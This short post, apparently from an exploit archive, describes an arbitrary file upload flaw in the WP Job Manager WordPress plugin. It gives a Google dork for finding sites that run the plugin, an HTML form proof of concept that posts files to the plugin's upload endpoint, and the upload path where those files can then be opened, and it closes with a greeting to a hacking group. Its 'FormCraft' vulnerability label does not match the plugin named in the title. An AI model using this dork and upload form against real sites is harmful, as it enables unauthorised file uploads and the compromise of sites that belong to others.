WordPress Plugins WP Job Manager - Arbitrary File Upload

Google Dork : inurl:/wp-content/plugins/wp-job-manager/
Exploit : https://localhost/jm-ajax/upload_file/
Vulnerability : FormCraft {"files":[]}

PoC :
<form method="POST" action="https://localhost/jm-ajax/upload_file/" enctype="multipart/form-data">
<input type="file" name="files[]" />
<button>Upload!</button><br/>
</form>

File Access : https://localhost/wp-content/uploads/job-manager-uploads/files/tahun/bulan/your-files.jpg

Great : Indonesian Freedom Security - Base POM303